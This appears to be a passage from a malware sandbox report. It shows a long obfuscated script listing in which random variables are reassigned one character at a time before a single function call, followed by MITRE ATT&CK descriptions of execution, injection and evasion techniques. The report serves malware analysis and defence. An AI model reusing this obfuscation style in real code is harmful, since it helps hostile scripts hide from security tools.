475	dpojyma = "s";
476	dpojyma = "y";
477	dpojyma = "m";
478	dpojyma = "k";
479	qmkttgold = "g";
480	qmkttgold = "h";
481	qmkttgold = "j";
482	qmkttgold = "F";
483	qmkttgold = "V";
484	qmkttgold = "d";
485	qmkttgold = "j";
486	qmkttgold = "R";
487	qmkttgold = "m";
488	qmkttgold = "B";
489	qmkttgold = "C";
490	qmkttgold = "B";
491	qmkttgold = "Z";
492	qmkttgold = "w";
493	qmkttgold = "q";
494	qmkttgold = "g";
495	qmkttgold = "x";
496	qmkttgold = "z";
497	qmkttgold = "X";
498	qmkttgold = "A";
499	qmkttgold = "w";
500	qmkttgold = "U";
501	qmkttgold = "U";
502	qmkttgold = "M";
503	qmkttgold = "h";
504	qmkttgold = "x";
505	qmkttgold = ":";
506	cbprf = "9";
507	zcoth = "W";
508	zcoth = "H";
509	zcoth = "M";
510	zcoth = "A";
511	zcoth = "A";
512	zcoth = "L";
513	zcoth = "L";
514	zcoth = "p";
515	zcoth = "S";
516	zcoth = "N";
517	zcoth = "t";
518	zcoth = "F";
519	zcoth = "Z";
520	zcoth = "Y";
521	zcoth = "r";
522	zcoth = "x";
523	zcoth = "A";
524	zcoth = "M";
525	zcoth = "Q";
526	zcoth = "I";
527	zcoth = "p";
528	czckp = "w";
529	czckp = "p";
530	czckp = "p";
531	czckp = "v";
532	czckp = "i";
533	czckp = "W";
534	czckp = "u";
535	czckp = "D";
536	czckp = "w";
537	czckp = "3";
538	gxixkmav = "Y";
539	gxixkmav = "A";
540	gxixkmav = "C";
541	gxixkmav = "u";
542	gxixkmav = "x";
543	gxixkmav = "q";
544	gxixkmav = "Z";
545	gxixkmav = "i";
546	gxixkmav = "r";
547	gxixkmav = "k";
548	gxixkmav = "o";
549	gxixkmav = "f";
550	gxixkmav = "e";
551	gxixkmav = "I";
552	gxixkmav = "r";
553	gfpmn = "L";
554	gfpmn = "G";
555	gfpmn = "b";
556	ovirw = "e";
557	ovirw = "Z";
558	ovirw = "i";
559	ovirw = "r";
560	ovirw = "A";
561	ovirw = "w";
562	ovirw = "K";
563	ovirw = "w";
564	ovirw = "p";
565	ovirw = "Y";
566	ovirw = "X";
567	ovirw = "s";
568	ovirw = "F";
569	ovirw = "u";
570	ovirw = "K";
571	ovirw = "F";
572	ovirw = "o";
573	ovirw = "o";
574	qpqkdzrbr = "y";
575	qpqkdzrbr = "b";
576	qpqkdzrbr = "T";
577	qpqkdzrbr = "m";
578	qpqkdzrbr = "U";
579	qpqkdzrbr = "D";
580	qpqkdzrbr = "l";
581	qpqkdzrbr = "x";
582	qpqkdzrbr = "t";
583	qpqkdzrbr = "d";
584	qpqkdzrbr = "U";
585	qpqkdzrbr = "u";
586	qpqkdzrbr = "y";
587	qpqkdzrbr = "r";
588	qpqkdzrbr = "p";
589	qpqkdzrbr = "p";
590	qpqkdzrbr = "j";
591	qpqkdzrbr = "a";
592	qpqkdzrbr = "Q";
593	qpqkdzrbr = "c";
594	qpqkdzrbr = " ";
595	xynzbxni = "O";
596	xynzbxni = "b";
597	xynzbxni = "g";
598	xynzbxni = "V";
599	xynzbxni = "V";
600	xynzbxni = "Z";
601	xynzbxni = "t";
602	xynzbxni = "E";
603	xynzbxni = "B";
604	xynzbxni = "t";
605	xynzbxni = "q";
606	xynzbxni = "X";
607	xynzbxni = "T";
608	xynzbxni = "C";
609	xynzbxni = "5";
610	czyxemxsy = "D";
611	czyxemxsy = "m";
612	czyxemxsy = "P";
613	czyxemxsy = "m";
614	czyxemxsy = "V";
615	czyxemxsy = "C";
616	czyxemxsy = "U";
617	czyxemxsy = "A";
618	czyxemxsy = "B";
619	czyxemxsy = "k";
620	czyxemxsy = "D";
621	czyxemxsy = "e";
622	czyxemxsy = "I";
623	czyxemxsy = "h";
624	czyxemxsy = "V";
625	czyxemxsy = "c";
626	czyxemxsy = "n";
627	czyxemxsy = "j";
628	czyxemxsy = "s";
629	hwhuaqjwo = "x";
630	hwhuaqjwo = "f";
631	hwhuaqjwo = "C";
632	hwhuaqjwo = "a";
633	hwhuaqjwo = "y";
634	hwhuaqjwo = "r";
635	hwhuaqjwo = "X";
636	hwhuaqjwo = "W";
637	hwhuaqjwo = "e";
638	hwhuaqjwo = "u";
639	hwhuaqjwo = "V";
640	hwhuaqjwo = "i";
641	hwhuaqjwo = "m";
642	fbklfv = "H";
643	fbklfv = "A";
644	fbklfv = "o";
645	fbklfv = "h";
646	fbklfv = "W";
647	fbklfv = "Z";
648	fbklfv = "t";
649	fbklfv = "h";
650	fbklfv = "j";
651	fbklfv = "x";
652	fbklfv = "X";
653	fbklfv = "X";
654	fbklfv = "Y";
655	fbklfv = "k";
656	fbklfv = "U";
657	fbklfv = "u";
658	fbklfv = "s";
659	fbklfv = "w";
660	fbklfv = "C";
661	fbklfv = "B";
662	fbklfv = "M";
663	fbklfv = "t";
664	fbklfv = "X";
665	fbklfv = "Q";
666	fbklfv = "h";
667	fbklfv = "B";
668	fbklfv = "E";
669	uvtpaadp = "w";
670	uvtpaadp = "s";
671	uvtpaadp = "C";
672	uvtpaadp = "J";
673	uvtpaadp = "E";
674	uvtpaadp = "H";
675	uvtpaadp = "I";
676	ckizunnam = "h";
677	ckizunnam = "x";
678	ckizunnam = "d";
679	ckizunnam = "A";
680	ckizunnam = "p";
681	ckizunnam = "K";
682	ckizunnam = "R";
683	ckizunnam = "X";
684	ckizunnam = "f";
685	ckizunnam = "h";
686	ckizunnam = "Y";
687	ckizunnam = "s";
688	ckizunnam = "n";
689	ckizunnam = "u";
690	ckizunnam = "p";
691	ckizunnam = "l";
692	ckizunnam = "B";
693	ckizunnam = "k";
694	ckizunnam = "i";
695	ckizunnam = "I";
696	ckizunnam = "f";
697	ckizunnam = "l";
698	ckizunnam = "k";
699	ckizunnam = "O";
700	ckizunnam = "d";
701	ckizunnam = "Y";
702	ckizunnam = "i";
703	ckizunnam = "f";
704	ckizunnam = "Q";
705	ckizunnam = "f";
706	ckizunnam = "O";
707	ckizunnam = "l";
708	ckizunnam = "s";
709	ckizunnam = "4";
710	vkbpobjb = "I";
711	vkbpobjb = "A";
712	vkbpobjb = "Y";
713	vkbpobjb = "x";
714	vkbpobjb = "n";
715	vkbpobjb = "N";
716	vkbpobjb = "t";
717	vkbpobjb = "V";
718	vkbpobjb = "Q";
719	vkbpobjb = "W";
720	vkbpobjb = "N";
721	vkbpobjb = "k";
722	vkbpobjb = "E";
723	vkbpobjb = "J";
724	vkbpobjb = "M";
725	vkbpobjb = "V";
726	vkbpobjb = "r";
727	vkbpobjb = "T";
728	vkbpobjb = "V";
729	vkbpobjb = "n";
730	vkbpobjb = "q";
731	vkbpobjb = "H";
732	vkbpobjb = "T";
733	vkbpobjb = "i";
734	vkbpobjb = "x";
735	vkbpobjb = "F";
736	vkbpobjb = "a";
737	vkbpobjb = "X";
738	vkbpobjb = "R";
739	wtoynolj = "i";
740	wtoynolj = "k";
741	wtoynolj = "D";
742	wtoynolj = "m";
743	wtoynolj = "X";
744	wtoynolj = "Q";
745	wtoynolj = "W";
746	wtoynolj = "h";
747	wtoynolj = "h";
748	wtoynolj = "c";
749	wtoynolj = "H";
750	wtoynolj = "L";
751	wtoynolj = "R";
752	wtoynolj = "q";
753	wtoynolj = "k";
754	wtoynolj = "G";
755	wtoynolj = "n";
756	wtoynolj = "H";
757	wtoynolj = "g";
758	wtoynolj = "n";
759	wtoynolj = "G";
760	wtoynolj = "w";
761	wtoynolj = "P";
762	wtoynolj = "o";
763	wtoynolj = "K";
764	wtoynolj = "M";
765	wtoynolj = "G";
766	wtoynolj = "y";
767	wtoynolj = "Y";
768	wtoynolj = "v";
769	wtoynolj = "H";
770	wtoynolj = "i";
771	wtoynolj = "V";
772	wtoynolj = "T";
773	wtoynolj = "S";
774	wtoynolj = "M";
775	wtoynolj = "8";
776	qdqrqzj = "G";
777	qdqrqzj = "n";
778	qdqrqzj = "S";
779	qdqrqzj = "J";
780	qdqrqzj = "u";
781	qdqrqzj = "m";
782	qdqrqzj = "T";
783	qdqrqzj = "U";
784	vsepsfrlu = "r";
785	vsepsfrlu = "d";
786	vsepsfrlu = "d";
787	vsepsfrlu = "F";
788	vsepsfrlu = "k";
789	vsepsfrlu = "q";
790	vsepsfrlu = "V";
791	vsepsfrlu = "o";
792	vsepsfrlu = "g";
793	vsepsfrlu = "M";
794	vsepsfrlu = "s";
795	vsepsfrlu = "p";
796	vsepsfrlu = "Y";
797	vsepsfrlu = "T";
798	vsepsfrlu = "T";
799	vsepsfrlu = "x";
800	vsepsfrlu = "S";
801	vsepsfrlu = "k";
802	vsepsfrlu = "L";
803	vsepsfrlu = "a";
804	vsepsfrlu = "C";
805	vsepsfrlu = "P";
806	vsepsfrlu = "E";
807	vsepsfrlu = "s";
808	vsepsfrlu = "y";
809	vsepsfrlu = "d";
810	vsepsfrlu = "z";
811	vsepsfrlu = "Z";
812	vsepsfrlu = "y";
813	vsepsfrlu = "X";
814	vsepsfrlu = "y";
815	vsepsfrlu = "L";
816	vsepsfrlu = "B";
817	vsepsfrlu = "w";
818	vsepsfrlu = "j";
819	vsepsfrlu = "q";
820	vsepsfrlu = "N";
821	vsepsfrlu = "R";
822	vsepsfrlu = "l";
823	vsepsfrlu = "R";
824	vsepsfrlu = "H";
825	vsepsfrlu = "t";
826	qdoevd = "p";
827	qdoevd = "X";
828	qdoevd = "H";
829	qdoevd = "W";
830	qdoevd = "d";
831	qdoevd = "d";
832	qdoevd = "E";
833	qdoevd = "Z";
834	qdoevd = "l";
835	qdoevd = "R";
836	qdoevd = "C";
837	qdoevd = "s";
838	qdoevd = "p";
839	qdoevd = "N";
840	qdoevd = "B";
841	qdoevd = "D";
842	qdoevd = "u";
843	qdoevd = "j";
844	qdoevd = "m";
845	qdoevd = "o";
846	qdoevd = "E";
847	qdoevd = "V";
848	qdoevd = "n";
849	qdoevd = "p";
850	qdoevd = "z";
851	qdoevd = "y";
852	qdoevd = "W";
853	qdoevd = "o";
854	qdoevd = "c";
855	qdoevd = "I";
856	qdoevd = "t";
857	qdoevd = "Z";
858	qdoevd = "K";
859	qdoevd = "i";
860	bffblx = "J";
861	bffblx = "d";
862	bffblx = "q";
863	bffblx = "o";
864	bffblx = "b";
865	bffblx = "m";
866	bffblx = "d";
867	bffblx = "r";
868	bffblx = "L";
869	bffblx = "f";
870	bffblx = "L";
871	bffblx = "R";
872	bffblx = "q";
873	bffblx = "u";
874	bffblx = "I";
875	bffblx = "T";
876	bffblx = "e";
877	bffblx = "E";
878	bffblx = "G";
879	bffblx = "E";
880	bffblx = "s";
881	bffblx = "F";
882	bffblx = "a";
883	bffblx = "g";
884	bffblx = "c";
885	bffblx = "q";
886	bffblx = "R";
887	bffblx = "L";
888	bffblx = "y";
889	bffblx = "D";
890	bffblx = "M";
891	bffblx = "Y";
892	bffblx = "N";
893	bffblx = "j";
894	bffblx = "L";
895	bffblx = "L";
896	bffblx = "2";
897	uygennkb = "S";
898	uygennkb = "U";
899	uygennkb = "W";
900	uygennkb = "C";
901	uygennkb = "r";
902	uygennkb = "j";
903	uygennkb = "r";
904	uygennkb = "p";
905	uygennkb = "g";
906	uygennkb = "h";
907	uygennkb = "s";
908	uygennkb = "F";
909	uygennkb = "I";
910	uygennkb = "l";
911	uygennkb = "E";
912	uygennkb = "c";
913	uygennkb = "R";
914	uygennkb = "Q";
915	uygennkb = "t";
916	uygennkb = "c";
917	uygennkb = "H";
918	uygennkb = "r";
919	uygennkb = "y";
920	uygennkb = "U";
921	uygennkb = "y";
922	uygennkb = "o";
923	uygennkb = "m";
924	uygennkb = "J";
925	uygennkb = "J";
926	uygennkb = "C";
927	uygennkb = "L";
928	uygennkb = "Q";
929	uygennkb = "K";
930	uygennkb = "u";
931	uygennkb = "F";
932	uygennkb = "U";
933	uygennkb = "N";
934	rbizi = "M";
935	rbizi = "M";
936	rbizi = "F";
937	mxpcxytb = "r";
938	mxpcxytb = "o";
939	mxpcxytb = "Z";
940	mxpcxytb = "T";
941	mxpcxytb = "Z";
942	mxpcxytb = "E";
943	mxpcxytb = "R";
944	mxpcxytb = "g";
945	mxpcxytb = "y";
946	mxpcxytb = "A";
947	mxpcxytb = "Z";
948	mxpcxytb = "Q";
949	mxpcxytb = "S";
950	mxpcxytb = "Q";
951	mxpcxytb = "F";
952	mxpcxytb = "o";
953	mxpcxytb = "i";
954	mxpcxytb = "Q";
955	hptganrv = "K";
956	hptganrv = "Q";
957	hptganrv = "n";
958	hptganrv = "Z";
959	hptganrv = "P";
960	hptganrv = "R";
961	hptganrv = "z";
962	hptganrv = "B";
963	hptganrv = "a";
964	hptganrv = "j";
965	hptganrv = "C";
966	hptganrv = "o";
967	hptganrv = "c";
968	hptganrv = "d";
969	hptganrv = "V";
970	hptganrv = "W";
971	hptganrv = "z";
972	hptganrv = "x";
973	hptganrv = "X";
974	hptganrv = "a";
975	hptganrv = "k";
976	hptganrv = "y";
977	hptganrv = "y";
978	hptganrv = "z";
979	hptganrv = "q";
980	hptganrv = "j";
981	hptganrv = "T";
982	hptganrv = "K";
983	gtjmtog = "w";
984	gtjmtog = "D";
985	gtjmtog = "E";
986	gtjmtog = "n";
987	gtjmtog = "Q";
988	gtjmtog = "S";
989	gtjmtog = "H";
990	gtjmtog = "S";
991	gtjmtog = "W";
992	gtjmtog = "H";
993	gtjmtog = "S";
994	gtjmtog = "S";
995	gtjmtog = "z";
996	gtjmtog = "Z";
997	gtjmtog = "X";
998	gtjmtog = "J";
999	gtjmtog = "d";
1000	gtjmtog = "K";
1001	gtjmtog = "n";
1002	gtjmtog = "h";
1003	gtjmtog = "u";
1004	gtjmtog = "Q";
1005	gtjmtog = "v";
1006	gtjmtog = "I";
1007	gtjmtog = "R";
1008	gtjmtog = "n";
1009	krjomu = "H";
1010	krjomu = "R";
1011	krjomu = "p";
1012	krjomu = "d";
1013	krjomu = "M";
1014	krjomu = "K";
1015	krjomu = "d";
1016	krjomu = "t";
1017	krjomu = "d";
1018	krjomu = "V";
1019	krjomu = "O";
1020	krjomu = "b";
1021	krjomu = "w";
1022	krjomu = "A";
1023	krjomu = "n";
1024	krjomu = "Z";
1025	krjomu = "g";
1026	krjomu = "I";
1027	krjomu = "N";
1028	krjomu = "S";
1029	krjomu = "W";
1030	krjomu = "D";
1031	krjomu = "E";
1032	krjomu = "j";
1033	krjomu = "N";
1034	krjomu = "d";
1035	krjomu = "v";
1036	krjomu = "x";
1037	krjomu = "I";
1038	krjomu = "W";
1039	krjomu = "P";
1040	raftfx = "m";
1041	raftfx = "i";
1042	raftfx = "R";
1043	raftfx = "J";
1044	raftfx = "v";
1045	raftfx = "I";
1046	raftfx = "j";
1047	raftfx = "B";
1048	raftfx = "c";
1049	raftfx = "I";
1050	raftfx = "D";
1051	raftfx = "Z";
1052	raftfx = "i";
1053	raftfx = "R";
1054	raftfx = "N";
1055	raftfx = "v";
1056	raftfx = "Z";
1057	raftfx = "T";
1058	raftfx = "V";
1059	raftfx = "B";
1060	raftfx = "Q";
1061	raftfx = "M";
1062	raftfx = "p";
1063	raftfx = "J";
1064	raftfx = "q";
1065	raftfx = "U";
1066	raftfx = "U";
1067	raftfx = "Y";
1068	raftfx = "l";
1069	raftfx = "w";
1070	raftfx = "q";
1071	raftfx = "s";
1072	raftfx = "S";
1073	raftfx = "r";
1074	raftfx = "L";
1075	nnwqsqv = "i";
1076	nnwqsqv = "D";
1077	nnwqsqv = "Z";
1078	nnwqsqv = "Y";
1079	nnwqsqv = "k";
1080	nnwqsqv = "x";
1081	nnwqsqv = "g";
1082	nnwqsqv = "u";
1083	nnwqsqv = "x";
1084	nnwqsqv = "t";
1085	nnwqsqv = "C";
1086	nnwqsqv = "O";
1087	nnwqsqv = "r";
1088	nnwqsqv = "I";
1089	nnwqsqv = "F";
1090	nnwqsqv = "U";
1091	nnwqsqv = "w";
1092	lesavlamr = "S";
1093	kflsflkmk = "Z";
1094	kflsflkmk = "m";
1095	kflsflkmk = "j";
1096	kflsflkmk = "D";
1097	kflsflkmk = "f";
1098	kflsflkmk = "W";
1099	kflsflkmk = "n";
1100	kflsflkmk = "W";
1101	kflsflkmk = "G";
1102	kflsflkmk = "L";
1103	kflsflkmk = "g";
1104	kflsflkmk = "s";
1105	kflsflkmk = "V";
1106	kflsflkmk = "E";
1107	kflsflkmk = "T";
1108	kflsflkmk = "m";
1109	kflsflkmk = "E";
1110	kflsflkmk = "E";
1111	kflsflkmk = "c";
1112	kflsflkmk = "z";
1113	kflsflkmk = "p";
1114	kflsflkmk = "b";
1115	kflsflkmk = "g";
1116	kflsflkmk = "E";
1117	kflsflkmk = "J";
1118	kflsflkmk = "_";
1119	axyhh = "l";
1120	axyhh = "P";
1121	axyhh = "L";
1122	axyhh = "i";
1123	axyhh = "d";
1124	axyhh = "z";
1125	axyhh = "m";
1126	axyhh = "W";
1127	axyhh = "B";
1128	axyhh = "N";
1129	axyhh = "A";
1130	axyhh = "x";
1131	axyhh = "P";
1132	axyhh = "t";
1133	axyhh = "Q";
1134	axyhh = "Q";
1135	axyhh = "v";
1136	axyhh = "P";
1137	axyhh = "d";
1138	axyhh = "d";
1139	sgzip = "O";
1140	sgzip = "a";
1141	sgzip = "z";
1142	sgzip = "a";
1143	sgzip = "s";
1144	sgzip = "B";
1145	sgzip = "j";
1146	sgzip = "U";
1147	sgzip = "v";
1148	sgzip = "f";
1149	sgzip = "V";
1150	sgzip = "p";
1151	sgzip = "Y";
1152	sgzip = "I";
1153	sgzip = "c";
1154	sgzip = "z";
1155	sgzip = "F";
1156	sgzip = "K";
1157	sgzip = "f";
1158	sgzip = "Z";
1159	sgzip = "z";
1160	sgzip = "i";
1161	sgzip = "Z";
1162	sgzip = "H";
1163	sgzip = "b";
1164	sgzip = "X";
1165	sgzip = "V";
1166	sgzip = "g";
1167	sgzip = "j";
1168	sgzip = "D";
1169	sgzip = "n";
1170	sgzip = "l";
1171	sgzip = "p";
1172	sgzip = "h";
1173	sgzip = "z";
1174	sgzip = "P";
1175	sgzip = "M";
1176	sgzip = "L";
1177	sgzip = "C";
1178	sgzip = "a";
1179	sgzip = "s";
1180	sgzip = ".";
1181	ogirykpf = "x";
1182	ogirykpf = "r";
1183	ogirykpf = "I";
1184	ogirykpf = "I";
1185	ogirykpf = "h";
1186	ogirykpf = "v";
1187	ogirykpf = "k";
1188	ogirykpf = "n";
1189	ogirykpf = "u";
1190	ogirykpf = "U";
1191	ogirykpf = "O";
1192	ogirykpf = "P";
1193	ogirykpf = "K";
1194	ogirykpf = "y";
1195	ogirykpf = "A";
1196	ogirykpf = "X";
1197	ogirykpf = "U";
1198	ogirykpf = "E";
1199	ogirykpf = "x";
1200	ogirykpf = "D";
1201	ogirykpf = "D";
1202	ogirykpf = "u";
1203	ogirykpf = "G";
1204	ogirykpf = "j";
1205	ogirykpf = "A";
1206	ogirykpf = "g";
1207	ogirykpf = "z";
1208	ogirykpf = "t";
1209	ogirykpf = "z";
1210	ogirykpf = "n";
1211	ogirykpf = "D";
1212	ogirykpf = "w";
1213	ogirykpf = "U";
1214	ogirykpf = "y";
1215	ogirykpf = "H";
1216	ogirykpf = "T";
1217	ogirykpf = "c";
1218	ogirykpf = "y";
1219	ogirykpf = "j";
1220	ogirykpf = "N";
1221	ogirykpf = "0";
1222	azhwj = "l";
1223	azhwj = "W";
1224	azhwj = "y";
1225	azhwj = "k";
1226	azhwj = "Z";
1227	azhwj = "Q";
1228	azhwj = "T";
1229	nrazaw = "y";
1230	nrazaw = "P";
1231	nrazaw = "d";
1232	nrazaw = "r";
1233	nrazaw = "S";
1234	nrazaw = "k";
1235	nrazaw = "e";
1236	nrazaw = "R";
1237	nrazaw = "s";
1238	nrazaw = "M";
1239	nrazaw = "N";
1240	nrazaw = "A";
1241	nrazaw = "v";
1242	nrazaw = "Y";
1243	nrazaw = "u";
1244	nrazaw = "S";
1245	nrazaw = "k";
1246	nrazaw = "Y";
1247	nrazaw = "r";
1248	nrazaw = "V";
1249	nrazaw = "Q";
1250	nrazaw = "F";
1251	nrazaw = "F";
1252	nrazaw = "Y";
1253	bfhqnr = "l";
1254	bfhqnr = "f";
1255	bfhqnr = "i";
1256	bfhqnr = "z";
1257	bfhqnr = "A";
1258	bfhqnr = "Z";
1259	bfhqnr = "q";
1260	bfhqnr = "y";
1261	bfhqnr = "E";
1262	bfhqnr = "t";
1263	bfhqnr = "m";
1264	bfhqnr = "m";
1265	bfhqnr = "a";
1266	bfhqnr = "w";
1267	bfhqnr = "w";
1268	bfhqnr = "c";
1269	bfhqnr = "Q";
1270	bfhqnr = "K";
1271	bfhqnr = "Z";
1272	bfhqnr = "p";
1273	bfhqnr = "u";
1274	bfhqnr = "F";
1275	bfhqnr = "P";
1276	bfhqnr = "o";
1277	bfhqnr = "k";
1278	bfhqnr = "G";
1279	bfhqnr = "O";
1280	bfhqnr = "d";
1281	bfhqnr = "d";
1282	bfhqnr = "b";
1283	bfhqnr = "w";
1284	bfhqnr = "R";
1285	bfhqnr = "p";
1286	bfhqnr = "u";
1287	bfhqnr = "B";
1288	bfhqnr = "Y";
1289	bfhqnr = "I";
1290	bfhqnr = "x";
1291	bfhqnr = "L";
1292	bfhqnr = "Y";
1293	bfhqnr = "W";
1294	bfhqnr = "j";
1295	bfhqnr = "e";
1296	mknux = "P";
1297	mknux = "P";
1298	mknux = "p";
1299	mknux = "A";
1300	mknux = "Q";
1301	mknux = "u";
1302	mknux = "m";
1303	mknux = "v";
1304	mknux = "V";
1305	mknux = "g";
1306	mknux = "S";
1307	mknux = "Y";
1308	mknux = "H";
1309	mknux = "Z";
1310	mknux = "Y";
1311	mknux = "W";
1312	mknux = "T";
1313	mknux = "l";
1314	mknux = "e";
1315	mknux = "z";
1316	mknux = "s";
1317	mknux = "e";
1318	mknux = "d";
1319	mknux = "N";
1320	mknux = "B";
1321	mknux = "b";
1322	mknux = "u";
1323	mknux = "C";
1324	mknux = "I";
1325	mknux = "P";
1326	mknux = "U";
1327	mknux = "I";
1328	mknux = "g";
1329	mknux = "V";
1330	mknux = "i";
1331	mknux = "C";
1332	mknux = "u";
1333	xehdq = "n";
1334	xehdq = "Y";
1335	xehdq = "a";
1336	xehdq = "K";
1337	xehdq = "P";
1338	xehdq = "q";
1339	xehdq = "Q";
1340	xehdq = "A";
1341	xehdq = "C";
1342	xehdq = "Z";
1343	xehdq = "N";
1344	xehdq = "B";
1345	xehdq = "D";
1346	xehdq = "I";
1347	xehdq = "n";
1348	xehdq = "i";
1349	xehdq = "q";
1350	xehdq = "o";
1351	xehdq = "Y";
1352	xehdq = "x";
1353	xehdq = "j";
1354	xehdq = "U";
1355	xehdq = "U";
1356	xehdq = "V";
1357	xehdq = "u";
1358	xehdq = "n";
1359	xehdq = "H";
1360	xehdq = "C";
1361	xehdq = "s";
1362	xehdq = "a";
1363	xehdq = "B";
1364	xehdq = "L";
1365	xehdq = "y";
1366	xehdq = "l";
1367	xehdq = "H";
1368	xehdq = "d";
1369	xehdq = "c";
1370	xehdq = "j";
1371	xehdq = "s";
1372	xehdq = "A";
1373	xehdq = "H";
1374	xehdq = "-";
1375	juvjsjuzx = "H";
1376	juvjsjuzx = "V";
1377	juvjsjuzx = "u";
1378	juvjsjuzx = "q";
1379	juvjsjuzx = "C";
1380	juvjsjuzx = "V";
1381	juvjsjuzx = "N";
1382	juvjsjuzx = "G";
1383	juvjsjuzx = "B";
1384	juvjsjuzx = "B";
1385	juvjsjuzx = "L";
1386	juvjsjuzx = "M";
1387	juvjsjuzx = "E";
1388	juvjsjuzx = "e";
1389	juvjsjuzx = "u";
1390	juvjsjuzx = "V";
1391	juvjsjuzx = "a";
1392	juvjsjuzx = "g";
1393	juvjsjuzx = "o";
1394	juvjsjuzx = "M";
1395	juvjsjuzx = "E";
1396	juvjsjuzx = "W";
1397	juvjsjuzx = "X";
1398	juvjsjuzx = "c";
1399	juvjsjuzx = "Z";
1400	juvjsjuzx = "u";
1401	juvjsjuzx = "V";
1402	juvjsjuzx = "b";
1403	juvjsjuzx = "f";
1404	juvjsjuzx = "g";
1405	juvjsjuzx = "d";
1406	juvjsjuzx = "y";
1407	juvjsjuzx = "C";
1408	juvjsjuzx = "u";
1409	juvjsjuzx = "m";
1410	juvjsjuzx = "W";
1411	juvjsjuzx = "a";
1412	juvjsjuzx = "P";
1413	juvjsjuzx = "a";
1414	juvjsjuzx = "h";
1415	juvjsjuzx = "W";
1416	juvjsjuzx = "c";
1417	juvjsjuzx = "f";
1418	juvjsjuzx = "7";
1419	xixkfnmx = "G";
1420	xixkfnmx = "w";
1421	xixkfnmx = "r";
1422	xixkfnmx = "J";
1423	xixkfnmx = "@";
1424	mibwmelfa = "X";
1425	mibwmelfa = "y";
1426	mibwmelfa = "V";
1427	mibwmelfa = "b";
1428	mibwmelfa = "w";
1429	mibwmelfa = "V";
1430	mibwmelfa = "m";
1431	mibwmelfa = "B";
1432	mibwmelfa = "z";
1433	mibwmelfa = "q";
1434	mibwmelfa = "c";
1435	mibwmelfa = "G";
1436	mibwmelfa = "M";
1437	mibwmelfa = "t";
1438	mibwmelfa = "G";
1439	mibwmelfa = "M";
1440	mibwmelfa = "b";
1441	mibwmelfa = "R";
1442	mibwmelfa = "B";
1443	mibwmelfa = "d";
1444	mibwmelfa = "X";
1445	mibwmelfa = "a";
1446	mibwmelfa = "U";
1447	mibwmelfa = "Z";
1448	mibwmelfa = "A";
1449	mibwmelfa = "C";
1450	mibwmelfa = "E";
1451	mibwmelfa = "V";
1452	mibwmelfa = "C";
1453	mibwmelfa = "Y";
1454	mibwmelfa = "Y";
1455	mibwmelfa = "S";
1456	mibwmelfa = "T";
1457	mibwmelfa = "n";
1458	mibwmelfa = "n";
1459	mibwmelfa = "x";
1460	mibwmelfa = "m";
1461	mibwmelfa = "A";
1462	mibwmelfa = "m";
1463	mibwmelfa = "n";
1464	mibwmelfa = "&";
1465	ihnyh = "z";
1466	ihnyh = "K";
1467	ihnyh = "q";
1468	ihnyh = "h";
1469	ihnyh = "N";
1470	ihnyh = "V";
1471	ihnyh = "h";
1472	yufrfyqr ( );	yufrfyqr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
